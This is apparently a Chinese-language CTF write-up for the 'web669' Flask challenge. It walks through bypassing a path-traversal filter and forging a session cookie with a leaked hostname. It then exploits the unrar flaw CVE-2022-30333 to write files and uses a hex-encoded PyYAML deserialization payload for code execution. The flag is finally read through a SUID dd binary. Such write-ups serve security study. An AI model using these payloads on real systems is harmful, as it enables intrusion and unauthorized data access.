web 三道题两道都是 java 呜呜呜
web669
application.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
|
import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session
app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()
def response(content, status):
resp = make_response(content, status)
return resp
@app.before_request
def is_login():
if request.path == "/upload":
if session.get('user') != "Administrator":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
return None
@app.route('/', methods=['GET'])
def main():
if not session.get('user'):
session['user'] = 'Guest'
try:
return render_template('index.html')
except:
return response("Not Found.", 404)
finally:
try:
updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
if not session.get('updir'):
session['updir'] = updir
if not os.path.exists(updir):
os.makedirs(updir)
except:
return response('Internal Server Error.', 500)
@app.route('/<path:file>', methods=['GET'])
def download(file):
if session.get('updir'):
basedir = session.get('updir')
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return response("Not Found.", 404)
except:
return response("Failed.", 500)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
uploadFile = request.files['file']
filename = request.files['file'].filename
if re.search(r"\.\.|/", filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"
filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
if os.path.exists(filepath):
return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
else:
uploadFile.save(filepath)
extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
if not os.path.exists(extractdir):
os.makedirs(extractdir)
pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
t_beginning = time.time()
seconds_passed = 0
timeout=60
while True:
if pStatus.poll() is not None:
break
seconds_passed = time.time() - t_beginning
if timeout and seconds_passed > timeout:
pStatus.terminate()
raise TimeoutError(cmd, timeout)
time.sleep(0.1)
rarDatas = {'filename': filename, 'dirs': [], 'files': []}
for dirpath, dirnames, filenames in os.walk(extractdir):
relative_dirpath = dirpath.split(extractdir)[-1]
rarDatas['dirs'].append(relative_dirpath)
for file in filenames:
rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
f.write(yaml.dump(rarDatas))
return redirect(f'/display?file={filename}')
@app.route('/display', methods=['GET'])
def display():
filename = request.args.get('file')
if not filename:
return response("Not Found.", 404)
if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
yamlDatas = f.read()
if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
if rarDatas:
return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
else:
return response('Internal Server Error.', 500)
else:
return response('Forbidden.', 403)
else:
return response("Not Found.", 404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
|
主页
上传文件显示 access denied
源码中 is_login() 对身份进行了验证
1
2
3
4
5
6
|
def is_login():
if request.path == "/upload":
if session.get('user') != "Administrator":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
return None
|
猜测是 flask session 伪造, 要想成功伪造 session 必须要知道 session 数据的结构和 secret_key
前者不用 secrect_key 就能从一个已知的 cookie 解密出来
后者在源码中是这句 app.config['SECRET_KEY'] = socket.gethostname()
socket.gethostname()
返回主机名
因为网站是 http://eci-2zeh8hn89fu4tuminjj1.cloudeci1.ichunqiu.com:8888/
, 所以尝试了一下 eci-2zeh8hn89fu4tuminjj1
, eci
, cloudeci1
, 但都失败了
于是准备换个思路, 继续看源码
1
2
3
4
5
6
7
8
9
10
11
12
|
@app.route('/<path:file>', methods=['GET'])
def download(file):
if session.get('updir'):
basedir = session.get('updir')
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return response("Not Found.", 404)
except:
return response("Failed.", 500)
|
这里检测文件是否存在并且调用 send_file 读取文件
过滤逻辑是把 ../
替换成空, 很明显可以通过双写绕过, 也是因为看见了这个过滤才准备试一试是否存在任意文件读取 (后来查看文章后发现 send_file 本身就存在这个漏洞)
读取文件不需要 Administrator 的 session, 这里用默认 Guest 的 session 就行
通过 /etc/hosts 读取主机名
10.16.40.73 engine-1
伪造 session https://github.com/noraj/flask-session-cookie-manager
1
2
3
4
|
exp10it@LAPTOP-TBAF1QQG:~/Desktop/flask-session-cookie-manager$ python3 flask_session_cookie_manager3.py decode -c eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywgd9w.c7bQruQSda7SYv7ktblCfUjnUco
b'{"updir":"static/uploads/4b3cf1ffc9224f4d830c5a29db854d15","user":"Guest"}'
exp10it@LAPTOP-TBAF1QQG:~/Desktop/flask-session-cookie-manager$ python3 flask_session_cookie_manager3.py encode -t '{"updir":"static/uploads/4b3cf1ffc9224f4d830c5a29db854d15","user":"Administrator"}' -s "engine-1"
eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiDBg.4Wjinu5nPVHPi45TBGIMvI6xwKE
|
再看一下源码中的相关逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
if not os.path.exists(extractdir):
os.makedirs(extractdir)
pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
t_beginning = time.time()
seconds_passed = 0
timeout=60
while True:
if pStatus.poll() is not None:
break
seconds_passed = time.time() - t_beginning
if timeout and seconds_passed > timeout:
pStatus.terminate()
raise TimeoutError(cmd, timeout)
time.sleep(0.1)
rarDatas = {'filename': filename, 'dirs': [], 'files': []}
for dirpath, dirnames, filenames in os.walk(extractdir):
relative_dirpath = dirpath.split(extractdir)[-1]
rarDatas['dirs'].append(relative_dirpath)
for file in filenames:
rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
f.write(yaml.dump(rarDatas))
return redirect(f'/display?file={filename}')
|
上传成功后会调用 unrar 对压缩文件进行解压, 并且写入 yaml 数据到 fileinfo 文件夹内
先访问 /display 看看
不过很显然这里的 /123/123.txt 不是真实路径, 因为 url 匹配的是 /<path:file>
这个路由
display 相关源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
def display():
filename = request.args.get('file')
if not filename:
return response("Not Found.", 404)
if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
yamlDatas = f.read()
if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
if rarDatas:
return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
else:
return response('Internal Server Error.', 500)
else:
return response('Forbidden.', 403)
else:
return response("Not Found.", 404)
|
读取 yaml 数据并返回结果, 读取之前有一个正则过滤 (一开始还没看出来这里为什么要过滤…)
因为是 flask 服务器, 上传 webshell 的传统思路肯定行不通
看到题目主页底下的 EasyRar
, 想着可能从那一句 unrar 入手
1
|
pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
|
搜了一下 unrar 的漏洞, 发现有 CVE-2022-30333, 还是今年6月份爆出来的
参考文章 https://www.ddosi.org/cve-2022-30333-poc/
GitHub 上搜了一下 poc
https://github.com/rbowes-r7/unrar-cve-2022-30333-poc
1
2
3
4
5
6
|
exp10it@LAPTOP-TBAF1QQG:~/Desktop/unrar-cve-2022-30333-poc$ ruby cve-2022-30333.rb
Usage: ruby ./create-payload <../../target/file> <filename to read payload from>
Eg: $ ruby ./create-payload.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./reverse-tcp-4444.jsp
exp10it@LAPTOP-TBAF1QQG:~/Desktop/unrar-cve-2022-30333-poc$ echo helloworld > test.txt
exp10it@LAPTOP-TBAF1QQG:~/Desktop/unrar-cve-2022-30333-poc$ ruby cve-2022-30333.rb "../../../../../../../../../tmp/test.txt" ./test.txt > test.rar
|
上传之后再利用之前的任意文件读取
成功读到 /tmp/test.txt, 也就说明存在这个漏洞
想了一会这个任意文件写入的漏洞, 有下面几个思路
- 寻找 crontab 路径并写入脚本, 从而定时执行任意代码
- 构造一个恶意的模板文件并覆写 flask templates 目录下原来的模板
第一种方法在读取文件的时候发现 /etc/crontab 并不存在
第二种方法就是构造类似 {{ os.system('ls /') }}
的模板, 覆盖掉原来的 index.html 或者 result.html (从源码来看只有这两个模板), 然后访问的时候加载我们自定义的模板来执行代码
但是实际测试的时候, 非 debug 模式下的 flask 不会自动重新加载模板文件, 必须要手动重启才行
不能覆写 application.py 的原因同上
于是换了个思路, 想想该怎么利用这个文件读取
读取 /etc/passwd 的时候发现了 ctfer 用户, 试了一下 /home/ctfer 下的几个文件 .bash_rc
.bash_history
等等都提示 file not found
nginx apache 这些服务器的配置文件也都没有
/proc/net/arp 里也没有信息, 应该是不存在内网?
然后读 /flag 的时候发现了不对劲的地方
其它文件都是显示 file not found, 而这个显示的是 failed
回到源码来看
1
2
3
4
5
6
7
8
|
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return response("Not Found.", 404)
except:
return response("Failed.", 500)
|
捕获了异常再返回 500 错误, 猜测是权限不足
也就是说 /flag 凭我们目前 web 用户的权限是读不到的
网上尝试搜索关于 unrar 的提权漏洞, 并没有相关信息
思路一下子断了…
不过思考了一会又想起来之前 buu 做过 hctf 的一道题, 那道题里面的 flask 用的是一个旧版本的 twisted 库造成了 unicode 欺骗, 而库的版本是从 requirements.txt 里查看的
于是尝试读取 requirements.txt
读取之前注意下路径
1
2
3
4
5
6
7
8
9
10
11
|
def download(file):
if session.get('updir'):
basedir = session.get('updir')
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return response("Not Found.", 404)
except:
return response("Failed.", 500)
|
这里的 updir 类似于 static/uploads/xx/
一共三层
我们需要往上跳三层才能达到 flask 项目的主文件夹内
其他版本查了下 PyPI 都是比较新的, 反倒是这个
最新版本是 6.0, 感觉不太对
搜了一下发现存在反序列化漏洞
https://xz.aliyun.com/t/7923
https://www.freebuf.com/vuls/256243.html
https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/
5.3 已经高于 5.1 版本了, 很多 payload 都不能用
在第二篇文章里找到了一个本地测试能用的 payload
1
2
3
4
5
6
7
8
|
- !!python/object/new:str
args: []
state: !!python/tuple
- "print('test')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
|
上传后显示 Forbidden, 原因如下
1
2
3
4
5
6
7
8
|
if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
if rarDatas:
return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
else:
return response('Internal Server Error.', 500)
else:
return response('Forbidden.', 403)
|
process system exec 过滤了还好说, 可以通过十六进制编码 + eval 绕过, 但是还过滤了 tuple
尝试把 tuple 换成 dict list, 执行失败
之前没接触过 yaml 反序列化的漏洞, 底层原理也云里雾里的
折腾了好久才发现之前一直放着没读完的第三篇文章里提了一下 tuple
大概意思就是 frozenset bytes 这些类型也能够造成反序列化
复制了一下原文章里的 payload 然后修改一下 tuple 类型
1
2
3
4
|
!!python/object/new:frozenset
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('ls / > /tmp/ls.txt')"]
|
字符串里的内容用十六进制编码绕过
1
2
3
4
5
6
7
8
|
def enc(s):
n = []
for c in s:
n.append(r'\x%2x' % ord(c))
return ''.join(n)
text = "__import__('os').system('ls / > /tmp/ls.txt')"
print(enc(text))
|
最终 payload 如下
1
2
3
4
|
!!python/object/new:frozenset
- !!python/object/new:map
- !!python/name:eval
- ["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x20\x2f\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x6c\x73\x2e\x74\x78\x74\x27\x29"]
|
保存为 yml 文件, 然后通过 unrar poc 构造 rar 文件
需要注意源码里的路径是 fileinfo/{md5(filename.encode()).hexdigest()}.yaml
, 而 fileinfo 在 flask 项目文件夹下
上传后解压的文件夹在 {session.get('updir')}/{filename.split('.')[0]}
下, 类似于 static/uploads/xx/123/
所以构造的时候要先跳四层然后再进入 fileinfo
另外 f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'
指定了读取的 yml 文件的格式, 需要把文件名改成 md5
1
2
|
exp10it@LAPTOP-TBAF1QQG:~/Desktop/unrar-cve-2022-30333-poc$ ruby cve-2022-30333.rb '../../../../fileinfo/f3abb86bd34cf4d52698f14c0da1dc60.yaml' ./f3abb86bd34cf4d52698f14c0da1dc60.yaml > ls.rar
exp10it@LAPTOP-TBAF1QQG:~/Desktop/unrar-cve-2022-30333-poc$
|
其中 zzz 的 md5 值为 f3abb86bd34cf4d52698f14c0da1dc60
之后访问 /display?file=zzz
触发 yaml 反序列化
读取 /tmp/ls.txt
反弹 shell 一直失败, 不知道什么原因
start.sh 跟 flag 一样也读不出来, 估计是要提权?
查看系统版本
Ubuntu 20.04 挺新的, 目前应该没有相关的 exp
于是去网上找找 linux 提权的其它思路
参考文章 https://www.cnblogs.com/xiaozi/p/14264210.html
发现有通过 SUID 提权的方法
1
|
find / -perm -u=s -type f 2>/dev/null
|
猜测 find -exec
可能能够执行命令? 不过还是试了一下
因为回显要输出到文件, 改一下重定向
1
|
find / -perm -u=s -type f 2>/dev/null 1>/tmp/find.txt
|
触发反序列化后读取 /tmp/find.txt
并没有 find, 但是有 dd 命令, 平时没怎么见过, 应该是利用点
读写文件
1
|
dd if=/flag of=/tmp/flag.txt
|
稍微纠结了下获取了 SUID 权限之后生成 flag.txt 文件的权限是谁的…
结果发现成功读取到 flag
补充
看到其它师傅 wp 中方法是通过更改 session 里面的 updir 来进行文件写入, 我这个应该算是有点非预期了
也有的师傅是覆写 result.html 直接进行 ssti, 原因应该是在第一次渲染 result.html 之前进行了覆写